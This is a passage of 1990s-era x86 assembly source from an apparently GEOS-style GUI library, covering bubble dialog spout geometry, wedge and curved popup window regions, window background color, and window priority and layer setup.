If there is a spout, then recalculate the margin and force geometry
recalculation of the window (and its children) IF any of the
following is true:
If there is no vardata containing the extra margin
(TEMP_OL_WIN_BUBBLE_MARGIN).
This covers initial condition or if the popup's
spout origin changes to where it is now visible.
If the margin isn't the same as the margin calculated
by taking the passed AX (left bound without spout)
and subtracting spoutOriginX.
This covers the case of the window content's size
changing or the spout origin changing so that the
margin is different.
If the true left bound of the window isn't the same as
spoutOriginX.
This, basically, just CYA in case all else fails.
This fact, that the left bound should be equal to
the spoutOriginX, needs to be true.
If there is NO SPOUT, then recalculate the margin and force
geometry recalculation of the window (and its children) if
there the extra margin vardata exists.
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 7/21/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
BubbleForceRecalcSizeIfNeeded proc near
uses di, bp, bx, si
.enter inherit OpenWinCreateWindowRegion
; load my own chunk handle
mov si, ss:[self]
; Check for temporary margin vardata. If it doesn't exist, and we
; have a valid spout X origin, then we need to force recalculation.
; If there isn't a spout, deal with cleaning up any vardata.
;
clr di
push ax
mov ax, TEMP_OL_WIN_BUBBLE_MARGIN
call ObjVarFindData
pop ax
pushf
cmp ss:[spoutOriginX], 0 ; if < 0, no spout.
jl noSpout ; clean up.
popf
jnc forceRecalc
mov di, {word}ds:[bx] ; load di with stored margin
; If left margin of window WITHOUT SPOUT - spout origin X does NOT
; equal our current margin, then we need to recalculate the margin
; and thus the geometry.
;
push ax
sub ax, ss:[spoutOriginX]
cmp di, ax
pop ax
jne forceRecalc
; If the left bounds of the window itself does not equal the spout
; origin X coordinate, then we again need to recalculate.
;
call WinCommon_DerefVisSpec_DI
mov di, ds:[di].VI_bounds.R_left
cmp ss:[spoutOriginX], di
jne forceRecalc
exit:
if ERROR_CHECK
cmp ss:[spoutOriginX], 0
jl _EC_noSpout
push di
call WinCommon_DerefVisSpec_DI
mov di, ds:[di].VI_bounds.R_left
cmp ss:[spoutOriginX], di
ERROR_NE OL_BUBBLE_DIALOG_BOUNDS_MISMATCH__INTERNAL_ERROR
;
; At this point, the bounds of the window should have been
; recalculated and the left bound of the window SHOULD be
; equal to the spout origin X. This is a real bummer if this is
; not the case. --JimG 7/24/95.
;
pop di
_EC_noSpout:
endif ;ERROR_CHECK
.leave
ret
; Add the vardata with the correct margin and force the
; recalculation of the window's geometry.
;
forceRecalc:
push ax, cx, dx ; save registers
mov dx, ax ; save left bounds
mov ax, TEMP_OL_WIN_BUBBLE_MARGIN
mov cx, 2
call ObjVarAddData
sub dx, ss:[spoutOriginX] ; new margin
mov {word}ds:[bx], dx
forceRecalcOnly:
;; NOTE: At this point we expect (AX CX DX) to be on the stack.
;; PLEASE BE CAREFUL.
;;
push bp ; save local pointer
;
; Okay.. so I wrote ugly code.. so sue me. I can't convince the
; silly geometry manager to actually move the damn left bounds over
; to shrink the width of the window in the case of a popup no longer
; drawing a spout when it used to. So this forces the left bound
; to be the right bound-1 and then we reset the geometry on the
; whole tree and then force it to update its geometry.
;
mov ax, MSG_VIS_RESET_TO_INITIAL_SIZE
mov dl, VUM_MANUAL
call ObjCallInstanceNoLock
call WinCommon_DerefVisSpec_DI
mov ax, ds:[di].VI_bounds.R_right
dec ax
mov ds:[di].VI_bounds.R_left, ax
mov ax, MSG_VIS_UPDATE_GEOMETRY
call ObjCallInstanceNoLock
pop bp
pop ax, cx, dx
jmp exit
noSpout:
; No spout.. clean up as needed.
;
popf ; carry set if vardata exists
jnc exit ; no vardata, no recalc needed
; Otherwise, vardata exists, but there's no spout so we need to zap
; that vardata and force the recalculation.
push ax, cx, dx ; save registers just like
; expected in forceRecalc
mov ax, TEMP_OL_WIN_BUBBLE_MARGIN
call ObjVarDeleteData
EC < ERROR_C OL_ERROR ; vardata should be here>
jmp forceRecalcOnly
BubbleForceRecalcSizeIfNeeded endp
;===========================================================================
;===========================================================================
; END BUBBLE CODE CURRENTLY USED IN RUDY
;===========================================================================
;===========================================================================
else ;wedges can go in any direction
OpenWinCreateWindowRegion proc near
class OLWinClass
self local word push si
side local word
points local 8 dup (Point)
activatorBounds local Rectangle
uses si, di, bp
.enter
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
LONG jz noRegion
mov ax, HINT_INTERACTION_ACTIVATED_BY
call ObjVarFindData
LONG jnc noRegion
push bp, si
mov si, ds:[bx].chunk
mov bx, ds:[bx].handle
mov ax, MSG_META_GET_ACTIVATOR_BOUNDS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov di, bp
pop bp, si
LONG jnc noRegion
mov activatorBounds.R_left, ax
mov activatorBounds.R_top, di
mov activatorBounds.R_right, cx
mov activatorBounds.R_bottom, dx
call VisGetBounds ; pass bounds, as screen coords
clr si
push ax
add ax, MINIMUM_SPOUT_SIZE ; make sure spouts at least this big
cmp activatorBounds.R_right, ax
pop ax
jge checkRight
ornf si, WIN_LEFT
mov ss:points[0].P_x, ax
push ax
mov ax, activatorBounds.R_right
sub ss:points[0].P_x, ax
pop ax
jmp checkTop
checkRight:
cmp activatorBounds.R_left, cx
jle checkTop
ornf si, WIN_RIGHT
push cx
mov cx, activatorBounds.R_left
mov ss:points[0].P_x, cx
pop cx
sub ss:points[0].P_x, cx
checkTop:
cmp activatorBounds.R_bottom, bx
jge checkBottom
ornf si, WIN_TOP
mov ss:points[0].P_y, bx
push bx
mov bx, activatorBounds.R_bottom
sub ss:points[0].P_y, bx
pop bx
jmp chooseSide
checkBottom:
cmp activatorBounds.R_top, dx
jle chooseSide
ornf si, WIN_BOTTOM
push dx
mov dx, activatorBounds.R_top
mov ss:points[0].P_y, dx
pop dx
sub ss:points[0].P_y, dx
chooseSide:
xchg ax, si
mov ah, al
xchg si, ax
tst si
jz noRegion
test si, WIN_LEFT or WIN_RIGHT
jz haveSide
test si, WIN_TOP or WIN_BOTTOM
jz haveSide
push ax
mov ax, ss:points[0].P_x
cmp ax, ss:points[0].P_y
pop ax
jge leftRight
andnf si, not (WIN_LEFT or WIN_RIGHT)
jmp haveSide
leftRight:
andnf si, not (WIN_TOP or WIN_BOTTOM)
haveSide:
mov ss:[side], si
movdw ss:points[0], bxax ; 0------------>1
movdw ss:points[4], bxcx ; ^ |
movdw ss:points[8], dxcx ; | v
movdw ss:points[12], dxax ; 3<------------2
test si, WIN_LEFT
jz tryRight
call GetWedgeYoffsets
movdw ss:points[16], dxax
mov cx, activatorBounds.R_right
mov ss:points[20].P_x, cx
mov ss:points[24].P_x, cx
mov cx, activatorBounds.R_top
add cx, activatorBounds.R_bottom
shr cx, 1
inc cx
mov ss:points[20].P_y, cx
dec cx
dec cx
mov ss:points[24].P_y, cx
movdw ss:points[28], bxax
jmp makeRegion
tryRight:
test si, WIN_RIGHT
jz tryTop
call GetWedgeYoffsets
movdw ss:points[28], ss:points[12], ax
movdw ss:points[24], ss:points[8], ax
movdw ss:points[8], bxcx
mov ax, activatorBounds.R_left
mov ss:points[12].P_x, ax
mov ss:points[16].P_x, ax
mov ax, activatorBounds.R_top
add ax, activatorBounds.R_bottom
shr ax, 1
dec ax
mov ss:points[12].P_y, ax
inc ax
inc ax
mov ss:points[16].P_y, ax
movdw ss:points[20], dxcx
jmp makeRegion
tryTop:
test si, WIN_TOP
jz doBottom
call GetWedgeXoffsets
movdw ss:points[28], ss:points[12], dx
movdw ss:points[24], ss:points[8], dx
movdw ss:points[20], ss:points[4], dx
movdw ss:points[4], bxax
mov dx, activatorBounds.R_left
add dx, activatorBounds.R_right
shr dx, 1
dec dx
mov ss:points[8].P_x, dx
inc dx
inc dx
mov ss:points[12].P_x, dx
mov dx, activatorBounds.R_bottom
mov ss:points[8].P_y, dx
mov ss:points[12].P_y, dx
movdw ss:points[16], bxcx
jmp makeRegion
doBottom:
call GetWedgeXoffsets
movdw ss:points[28], ss:points[12], bx
movdw ss:points[12], dxcx
mov bx, activatorBounds.R_left
add bx, activatorBounds.R_right
shr bx, 1
inc bx
mov ss:points[16].P_x, bx
dec bx
dec bx
mov ss:points[20].P_x, bx
mov bx, activatorBounds.R_top
mov ss:points[16].P_y, bx
mov ss:points[20].P_y, bx
movdw ss:points[24], dxax
makeRegion:
clr di
call GrCreateState
mov cx, PCT_REPLACE
call GrBeginPath
push ds
segmov ds, ss
lea si, ss:[points]
mov cx, 8
call GrDrawPolygon
pop ds
call GrEndPath
mov cl, RFR_ODD_EVEN
call GrGetPathRegion
call GrDestroyState
adjustForLineBounds::
test ss:[side], WIN_LEFT
jz tryRightAdjust
leftAdjust::
dec ss:points[4].P_x
dec ss:points[8].P_x
dec ss:points[8].P_y
dec ss:points[12].P_y
dec ss:points[16].P_y
dec ss:points[20].P_y
inc ss:points[28].P_y
movdw ss:points[24], ss:points[28], ax
jmp storePoints
tryRightAdjust:
test ss:[side], WIN_RIGHT
jz tryTopAdjust
rightAdjust:
dec ss:points[4].P_x
dec ss:points[8].P_x
inc ss:points[8].P_y
dec ss:points[12].P_x
inc ss:points[12].P_y
dec ss:points[20].P_x
dec ss:points[20].P_y
dec ss:points[24].P_x
dec ss:points[24].P_y
dec ss:points[28].P_y
movdw ss:points[16], ss:points[20], ax
movdw ss:points[20], ss:points[24], ax
movdw ss:points[24], ss:points[28], ax
jmp storePoints
tryTopAdjust:
test ss:[side], WIN_TOP
jz bottomAdjust
topAdjust:
inc ss:points[4].P_x
inc ss:points[8].P_x
dec ss:points[16].P_x
dec ss:points[20].P_x
dec ss:points[24].P_x
dec ss:points[24].P_y
dec ss:points[28].P_y
movdw ss:points[12], ss:points[16], ax
movdw ss:points[16], ss:points[20], ax
movdw ss:points[20], ss:points[24], ax
movdw ss:points[24], ss:points[28], ax
jmp storePoints
bottomAdjust:
dec ss:points[4].P_x
dec ss:points[8].P_x
dec ss:points[8].P_y
dec ss:points[12].P_x
dec ss:points[12].P_y
dec ss:points[16].P_x
dec ss:points[16].P_y
inc ss:points[24].P_x
dec ss:points[24].P_y
dec ss:points[28].P_y
movdw ss:points[16], ss:points[20], ax
movdw ss:points[20], ss:points[24], ax
movdw ss:points[24], ss:points[28], ax
storePoints:
push bx
call MemLock
push ds
mov ds, ax
mov cx, ds:[R_left]
mov dx, ds:[R_top]
pop ds
call MemUnlock
sub cx, ss:points[0].P_x
sub dx, ss:points[0].P_y
test ss:[side], WIN_LEFT or WIN_RIGHT
jz noWorry
test ss:[side], WIN_TOP shl 8
jz noWorry
inc dx
noWorry:
push cx, dx
mov si, ss:[self]
mov ax, TEMP_OL_WIN_BORDER_POINTS
mov cx, size WedgeWinBorderStruct
call ObjVarAddData
pop cx, dx
mov ds:[bx].WWBS_windowAdj.P_x, cx
mov ds:[bx].WWBS_windowAdj.P_y, dx
push cx, dx
push ds, es
segmov es, ds
mov di, bx
segmov ds, ss
lea si, ss:[points]
mov cx, 7
mov bx, ss:points[0].P_x
mov dx, ss:points[0].P_y
nextPoint:
lodsw
sub ax, bx
stosw
lodsw
sub ax, dx
stosw
loop nextPoint
pop ds, es
pop cx, dx
pop bx
done:
.leave
ret
noRegion:
clr bx
jmp done
GetWedgeXoffsets:
push bx
mov bx, activatorBounds.R_left
add bx, activatorBounds.R_right
shr bx, 1
sub bx, WEDGE_SIZE / 2
cmp ax, bx
jl 101$
mov cx, ax
add cx, WEDGE_SIZE
jmp 103$
101$:
add bx, WEDGE_SIZE
cmp cx, bx
jg 102$
mov ax, cx
sub ax, WEDGE_SIZE
jmp 103$
102$:
mov cx, bx
mov ax, bx
sub ax, WEDGE_SIZE
103$:
pop bx
retn
GetWedgeYoffsets:
push ax
mov ax, activatorBounds.R_top
add ax, activatorBounds.R_bottom
shr ax, 1
sub ax, WEDGE_SIZE / 2
cmp bx, ax
jl 201$
mov dx, bx
add dx, WEDGE_SIZE
jmp 203$
201$:
add ax, WEDGE_SIZE
cmp dx, ax
jg 202$
mov bx, dx
sub bx, WEDGE_SIZE
jmp 203$
202$:
mov dx, ax
mov bx, ax
sub bx, WEDGE_SIZE
203$:
pop ax
retn
OpenWinCreateWindowRegion endp
endif ;WEDGES_TO_LEFT_ONLY
else ;CURVED_BUBBLE_DIALOG
WIN_LEFT = 0001b
WIN_RIGHT = 0010b
WIN_TOP = 0100b
WIN_BOTTOM = 1000b
WEDGE_SIZE = 24
OpenWinCreateWindowRegion proc near
class OLWinClass
self local word push si
side local word
points local 20 dup (Point)
activatorBounds local Rectangle
uses si, di, bp
.enter
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
LONG jz noRegion
mov ax, HINT_INTERACTION_ACTIVATED_BY
call ObjVarFindData
LONG jnc noRegion
push bp, si
mov si, ds:[bx].chunk
mov bx, ds:[bx].handle
mov ax, MSG_META_GET_ACTIVATOR_BOUNDS
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov di, bp
pop bp, si
LONG jnc noRegion
mov activatorBounds.R_left, ax
mov activatorBounds.R_top, di
mov activatorBounds.R_right, cx
mov activatorBounds.R_bottom, dx
call VisGetBounds ; pass bounds, as screen coords
clr si
cmp activatorBounds.R_right, ax
jge checkRight
ornf si, WIN_LEFT
mov ss:points[0].P_x, ax
push ax
mov ax, activatorBounds.R_right
sub ss:points[0].P_x, ax
pop ax
jmp checkTop
checkRight:
cmp activatorBounds.R_left, cx
jle checkTop
ornf si, WIN_RIGHT
push cx
mov cx, activatorBounds.R_left
mov ss:points[0].P_x, cx
pop cx
sub ss:points[0].P_x, cx
checkTop:
cmp activatorBounds.R_bottom, bx
jge checkBottom
ornf si, WIN_TOP
mov ss:points[0].P_y, bx
push bx
mov bx, activatorBounds.R_bottom
sub ss:points[0].P_y, bx
pop bx
jmp chooseSide
checkBottom:
cmp activatorBounds.R_top, dx
jle chooseSide
ornf si, WIN_BOTTOM
push dx
mov dx, activatorBounds.R_top
mov ss:points[0].P_y, dx
pop dx
sub ss:points[0].P_y, dx
chooseSide:
xchg ax, si
mov ah, al
xchg si, ax
tst si
LONG jz noRegion
test si, WIN_LEFT or WIN_RIGHT
LONG jz haveSide
test si, WIN_TOP or WIN_BOTTOM
jz haveSide
push ax
mov ax, ss:points[0].P_x
cmp ax, ss:points[0].P_y
pop ax
jge leftRight
andnf si, not (WIN_LEFT or WIN_RIGHT)
jmp haveSide
leftRight:
andnf si, not (WIN_TOP or WIN_BOTTOM)
haveSide:
add ax, 10 ;10 points reserved for curve
mov ss:[side], si
movdw ss:points[0], bxax ; 0------------>1
movdw ss:points[4], bxcx ; ^ |
movdw ss:points[8], dxcx ; | v
movdw ss:points[12], dxax ; 3<------------2
sub ax, 10 ;10 points reserved for curve
test si, WIN_LEFT
LONG jz noRegion ;can't do left, no bubble.
call GetWedgeYoffsets
mov cx, 12 or CCP_COUNTING_UP ;last point offset
call CalcCurvePoints
movdw ss:points[40], dxax
mov cx, activatorBounds.R_right
mov ss:points[44].P_x, cx
mov ss:points[48].P_x, cx
mov cx, activatorBounds.R_top
add cx, activatorBounds.R_bottom
shr cx, 1
inc cx
mov ss:points[44].P_y, cx
dec cx
dec cx
mov ss:points[48].P_y, cx
movdw ss:points[52], bxax
movdw dxax, ss:points[0] ;our destination
mov cx, 52 or CCP_COUNTING_DOWN
call CalcCurvePoints
clr di
call GrCreateState
mov cx, PCT_REPLACE
call GrBeginPath
push ds
segmov ds, ss
lea si, ss:[points]
mov cx, 20
call GrDrawPolygon
pop ds
call GrEndPath
mov cl, RFR_ODD_EVEN
call GrGetPathRegion
call GrDestroyState
inc ss:points[0].P_x ;match up with top curve?
dec ss:points[4].P_x
dec ss:points[8].P_x
dec ss:points[8].P_y
dec ss:points[12].P_y
inc ss:points[12].P_x
dec ss:points[16].P_y
inc ss:points[16].P_x
dec ss:points[20].P_y
inc ss:points[20].P_x
dec ss:points[24].P_y
inc ss:points[24].P_x
dec ss:points[28].P_y
inc ss:points[28].P_x
dec ss:points[32].P_y
inc ss:points[32].P_x
dec ss:points[36].P_y
inc ss:points[36].P_x
dec ss:points[40].P_y
inc ss:points[40].P_x
inc ss:points[48].P_x ;point
inc ss:points[48].P_y
movdw ss:points[44], ss:points[48], ax
inc ss:points[52].P_y
inc ss:points[52].P_x
inc ss:points[56].P_x
inc ss:points[60].P_x
inc ss:points[64].P_x
inc ss:points[68].P_x
inc ss:points[72].P_x
inc ss:points[76].P_x
push bx
call MemLock
push ds
mov ds, ax
mov cx, ds:[R_left]
mov dx, ds:[R_top]
pop ds
call MemUnlock
sub cx, ss:points[0].P_x
sub dx, ss:points[0].P_y
test ss:[side], WIN_LEFT or WIN_RIGHT
jz noWorry
test ss:[side], WIN_TOP shl 8
jz noWorry
inc dx
noWorry:
push cx, dx
mov si, ss:[self]
mov ax, TEMP_OL_WIN_BORDER_POINTS
mov cx, size WedgeWinBorderStruct
call ObjVarAddData
pop cx, dx
mov ds:[bx].WWBS_windowAdj.P_x, cx
mov ds:[bx].WWBS_windowAdj.P_y, dx
push cx, dx
push ds, es
segmov es, ds
mov di, bx
segmov ds, ss
lea si, ss:[points]
mov cx, 19
mov bx, ss:points[0].P_x
mov dx, ss:points[0].P_y
nextPoint:
lodsw
sub ax, bx
stosw
lodsw
sub ax, dx
stosw
loop nextPoint
pop ds, es
pop cx, dx
pop bx
done:
.leave
ret
noRegion:
clr bx
jmp done
GetWedgeXoffsets:
push bx
mov bx, activatorBounds.R_left
add bx, activatorBounds.R_right
shr bx, 1
sub bx, WEDGE_SIZE / 2
cmp ax, bx
jl 101$
mov cx, ax
add cx, WEDGE_SIZE
jmp 103$
101$:
add bx, WEDGE_SIZE
cmp cx, bx
jg 102$
mov ax, cx
sub ax, WEDGE_SIZE
jmp 103$
102$:
mov cx, bx
mov ax, bx
sub ax, WEDGE_SIZE
103$:
pop bx
retn
GetWedgeYoffsets:
push ax
mov ax, activatorBounds.R_top
add ax, activatorBounds.R_bottom
shr ax, 1
sub ax, WEDGE_SIZE / 2
cmp bx, ax
jl 201$
mov dx, bx
add dx, WEDGE_SIZE
jmp 203$
201$:
add ax, WEDGE_SIZE
cmp dx, ax
jg 202$
mov bx, dx
sub bx, WEDGE_SIZE
jmp 203$
202$:
mov dx, ax
mov bx, ax
sub bx, WEDGE_SIZE
203$:
pop ax
retn
OpenWinCreateWindowRegion endp
endif ; CURVED_BUBBLE_DIALOG
endif ; if BUBBLE_DIALOGS and (not (_DUI)
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CalcCurvePoints
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calculate a set if points to create a simple curve.
CALLED BY: OpenWinCreateWindowRegion
PASS: cl -- offset to last point stored in points structure
ch -- 0 if starting curve, 5 if ending curve (table index)
dxax -- next point we're supposed to curve to
ss:bp-- OpenWinCreateWindowRegion locals
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Register usage:
si -- index into point table
di -- table index
cx -- increment (-1 or 1)
ax -- current x position
dx -- starting y position
bx -- distance
bp -- local variables
endpoint is x1, y1
x0,y0 (starting point) = points[last point index]
dist = y1 - y0
for i = 0 to 5 (or 5 to 0) {
x = x = xChangeTable[i]
points[last point index + (i*4)] = (x, y-distance*curveTable[i]
}
KNOWN BUGS/SIDE EFFECTS/IDEAS:
the curveTable and xChangeTable are not rocket science, they're just
derived from making a 10 x 10 point curve on a piece of graph paper
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 7/21/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if BUBBLE_DIALOGS
if CURVED_BUBBLE_DIALOG
CCP_COUNTING_UP equ 0
CCP_COUNTING_DOWN equ (offset curveTableEnd - offset curveTableDown) shl 8
CalcCurvePoints proc near uses ax,bx,cx,dx,si,di
.enter inherit OpenWinCreateWindowRegion
clr bx
mov bl, cl
mov si, bx ;si <- point index
sub dx, points[si].P_y ;see y distance to go
neg dx
mov bx, dx
movdw dxax, points[si] ;keep around starting point
add si, size Point ;advance to next point
mov cl, ch
clr ch
mov di, cx ;table index
mov cx, size word ;assume counting up
tst di
jz ptLoop ;starting from zero, branch
neg cx ;else counting down
add di, offset curveTableDown - offset curveTable
ptLoop:
push cx
sub ax, cs:xChangeTable[di] ;change x position
push ax, dx
mov ax, cs:curveTable[di] ;get curve fraction
clr dx ; in dx.ax
mul bx ;multiply by dist -> dx.ax
tst ax
jns 10$
inc dx
10$: ;OK, value to subtract in dx.
mov cx, dx ;now in cx
pop ax, dx ;restore our registers
push dx ;save y value again
sub dx, cx ;calculate the y for this point
movdw points[si], dxax ;store the point
pop dx ;restore y point start
pop cx
add si, size Point ;advance to next point
add di, cx ;inc or dec table count
cmp di, offset curveTableMiddle - offset curveTable
;have we gone negative or
; past the end of the table?
jne ptLoop ;nope, do another point
.leave
ret
CalcCurvePoints endp
curveTable label word
word 0ffffh*10/100 ;10% of curve
word 0ffffh*20/100 ;10%
word 0ffffh*30/100 ;10%
word 0ffffh*40/100 ;10%
word 0ffffh*50/100 ;10%
word 0ffffh*70/100 ;20%
curveTableMiddle label word
word 0ffffh ;30% (unused)
curveTableDown label word
word 0ffffh*90/100 ;10%
word 0ffffh*80/100 ;10%
word 0ffffh*70/100 ;10%
word 0ffffh*60/100 ;10%
word 0ffffh*50/100 ;20%
curveTableEnd label word
word 0ffffh*30/100 ;30%
xChangeTable word 3, 2, 1, 1, 1, 1
word 0 ;unused
word -3, -2, -1, -1, -1, -1
endif
endif
COMMENT @----------------------------------------------------------------------
FUNCTION: GetWinColor
DESCRIPTION: Fetches color info for call to WinOpen
CALLED BY: INTERNAL
OpenWinOpenWin
PASS: *ds:si - OLWinClass object
RETURN: al - color index
ah - WinColorFlags
bx - WinPassFlags
DESTROYED: di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/92 Initial version
------------------------------------------------------------------------------@
GetWinColor proc near
uses cx
.enter
;
; set up AH = window type flags, AL = window background color
;
; Choose a COLOR for the window
;
if WINDOW_WASH_COLOR
mov ax, HINT_WINDOW_WASH_COLOR
call ObjVarFindData
jnc noWashColor
mov al, ds:[bx]
jmp afterColor
noWashColor:
endif
if _CUA_STYLE ;START of CUA_STYLE specific code -----------------------------
push ds
call WinCommon_DerefVisSpec_DI
mov cl, ds:[di].OLWI_type
test ds:[di].OLWI_fixedAttr, mask OWFA_IS_MENU
;
; CUA/Motif: grab color value from color scheme variables in idata
;
mov ax, dgroup ;get segment of core block
mov ds, ax
mov al, ds:[moCS_menuBar] ;assume is menu
jnz OWOW_haveColor ;skip if is menu...
mov al, ds:[moCS_screenBG] ;assume is icon
cmp cl, MOWT_WINDOW_ICON
je OWOW_haveColor ;skip if is icon...
;is not menu or icon: is fixed color
;(changed 2/15/91 cbh to use real light color)
MO < mov al, C_WHITE ;assume B&W display >
MO < test ds:[moCS_flags], mask CSF_BW ; is this a B&W display? >
MO < jnz OWOW_haveColor ; skip if so... >
MO < mov al, ds:[moCS_dsLightColor] ;else use light color >
ISU < mov al, C_WHITE ;assume B&W display >
ISU < test ds:[moCS_flags], mask CSF_BW ; is this a B&W display? >
ISU < jnz OWOW_haveColor ; skip if so... >
ISU < mov al, ds:[moCS_dsLightColor] ;else use light color >
OWOW_haveColor:
pop ds
endif ;END of CUA_STYLE specific code -------------------------------
afterColor::
mov ah, mask CMM_ON_BLACK or CMT_CLOSEST
afterWinColorFlagsSet::
clr bx ; no green or blue colors
.leave
ret
GetWinColor endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GetCoreWinOpenParams
DESCRIPTION: Fetches core info needed for WinOpen
CALLED BY: INTERNAL
OpenWinOpenWin
PASS: *ds:si - OLWinClass object
di - default parent window
RETURN: cx - WinPassFlags
dx - LayerID
di - parent Window
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
WinPrio LayerPrio parent layerID
------- --------- ------ -------
Primarys, Displays WIN_PRIO_STD default (NULL) default geode handle
command windows WIN_PRIO_COMMANDdefault (NULL) default geode handle
app modal dialog WIN_PRIO_MODAL default (NULL) default geode handle
popup windows WIN_PRIO_POPUP default (NULL) default geode handle
sys modal dialog WIN_PRIO_MODAL LAYER_PRIO_MODALscreen handle of block
Custom Win prio custom
Custom Layer prio custom
Custom LayerID custom
Sys menu/popup of above ""
Custom parent window custom
Sys menu/popup of above ""
NOTES:
1) It is imperative that all windows of a given layer have the same
Layer priority passed, as the window system cannot deal with any
other scenario.
2) At this time, ATTR_GEN_WINDOW_CUSTOM_PARENT(0) may NOT be placed
on an app modal dialog. Reason? The app wouldn't be able to find
it to move the focus on down to the next dialog in a series.
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
(2) above. With a little work, OLApplication might be able to deal
with this, if people would find the option useful.
Does NOT deal w/popup windows (other than the system menu) which
belong to a window having been placed on the screen. These windows
should be placed on the screen as well, & given the same LayerID &
LayerPrio as the dialog they come from.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/92 Initial version
------------------------------------------------------------------------------@
LAYER_ID_FOR_ICONS equ 10171 ; A Unique layer ID for all icons
GetCoreWinOpenParams proc near
uses ax, bx, bp
.enter
clr cx ; Init WinPassFlags
call GeodeGetProcessHandle ; Init LayerID to app default -- geode
mov dx, bx ; handle
;
; Icons should have the same low priority, regardless of
; what the application priorities are, so give them a unique
; layer ID.
;
mov bx, ds:[si]
add bx, ds:[bx].Vis_offset
if (0) ; Don't give unique layer ID, so icons for desk -----------------------
; accessories will stay on top. - Joon (7/18/94)
if _CUA_STYLE
cmp ds:[bx].OLWI_type, MOWT_WINDOW_ICON
else
.err <Must choose either CUA_STYLE or MAC>
endif
jne notWinIcon
mov dx, LAYER_ID_FOR_ICONS
notWinIcon:
endif ; if (0) --------------------------------------------------------------
;
; MODALITY
;
; First, check to see if of OLPopupWinClass -- if not, can't be modal.
;
test ds:[bx].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
jz lookupPriority
test ds:[bx].OLPWI_flags, mask OLPWF_APP_MODAL or \
mask OLPWF_SYS_MODAL
jz lookupPriority
modal::
mov cl, WIN_PRIO_MODAL ; Use modal window priority
ornf cx, mask WPF_SAVE_UNDER ; Use save-under for all modal windows
; see if system modal or not
test ds:[bx].OLPWI_flags, mask OLPWF_SYS_MODAL
LONG jz haveBasicDefaults ; if just app modal, have priority
; Place sys-modal layer at "MODAL" level, to be above
; "screen-floating" windows
;
ornf cl, (LAYER_PRIO_MODAL shl offset WPD_LAYER)
call GetScreenWin ; Fetch screen window, in di
mov dx, ds:[LMBH_handle] ; For windows placed on screen, set
; LayerID = handle of block object
; lies in.
jmp haveBasicDefaults
lookupPriority: ; Othewise, look up in table.
mov bx, ds:[si]
add bx, ds:[bx].Vis_offset
mov bl, ds:[bx].OLWI_type ; get window type
clr bh ; fetch priority based on type
mov cl, cs:[bx].winPriorityTable
; If this is a pinned menu, use lower WIN_PRIO_COMMAND priority level
;
cmp cl, WIN_PRIO_POPUP ; see if a menu
jne afterPinnedMenuCheck ; if not, skip
ornf cx, mask WPF_SAVE_UNDER ; Use save-under for menus
; If a menu, see if it is pinned
mov bx, ds:[si]
add bx, ds:[bx].Vis_offset
test ds:[bx].OLWI_specState, mask OLWSS_PINNED
jz afterPinnedMenuCheck ; skip if not
mov cl, WIN_PRIO_COMMAND ; BUT, if it IS a pinned menu, lower
; priority. (Make same as command win)
andnf cx, not mask WPF_SAVE_UNDER ; & clear save-under as well
afterPinnedMenuCheck:
haveBasicDefaults:
;----------------------------------------
;
; Check to see if windows of this application have a special
; layer priority, as is the case with application launched in
; "desk accessory" mode.
;
; cl = default priority
; ch = mask WPF_SAVE_UNDER, if needed
; di = default window
;
mov al, cl
andnf al, mask WPD_LAYER
cmp al, (LAYER_PRIO_MODAL shl offset WPD_LAYER)
je afterDeskAccessoryCheck ; sys modal, leave layer priority
if (0) ; We'll let icons for desk accessories stay on top as well ------------
mov bx, ds:[si]
add bx, ds:[bx].OLWin_offset
if _CUA_STYLE
cmp ds:[bx].OLWI_type, MOWT_WINDOW_ICON
else
.err <Must choose either CUA_STYLE or MAC>
endif
je afterDeskAccessoryCheck
endif ; if (0) --------------------------------------------------------------
; Fetch LayerPriority to use from app object
;
push si
clr bx
call GeodeGetAppObject
call ObjSwapLock
push bx
mov ax, ATTR_GEN_WINDOW_CUSTOM_LAYER_PRIORITY
call ObjVarFindData
jnc afterCustomLayerPrio
mov al, ds:[bx] ; fetch layer priority to use
shl al, 1 ; Shift up to layer prio area
shl al, 1
shl al, 1
shl al, 1
and cl, not mask WPD_LAYER
ornf cl, al ; OR in layer priority
afterCustomLayerPrio:
pop bx
call ObjSwapUnlock
pop si
afterDeskAccessoryCheck:
;----------------------------------------
;
; OK, at this point we've got the standard win parent, priority &
; LayerID to use. Before we get into custom attributes on this object
; itself, we need to adjust the defaults to accomodate the case of
; this being a system menu (or ideally any popup), which springs from
; a window that itself has been tampered with by the programmer, in
; either which parent window it is using, or what LayerID it is in.
; For those case, we need to copy those same values from the parent,
; so that the popups stay with the source window.
;
; cl = default priority
; ch = mask WPF_SAVE_UNDER, if needed
; di = default parent window
call OpenWinModifyWithNearestWinGroupPriority
;----------------------------------------
;
; OK, now we *really* have default window parent, priority, & LayerID,
; as the specific UI would have it. Now, we'll check the various
; "custom window" attributes that a programmer might have stuck on
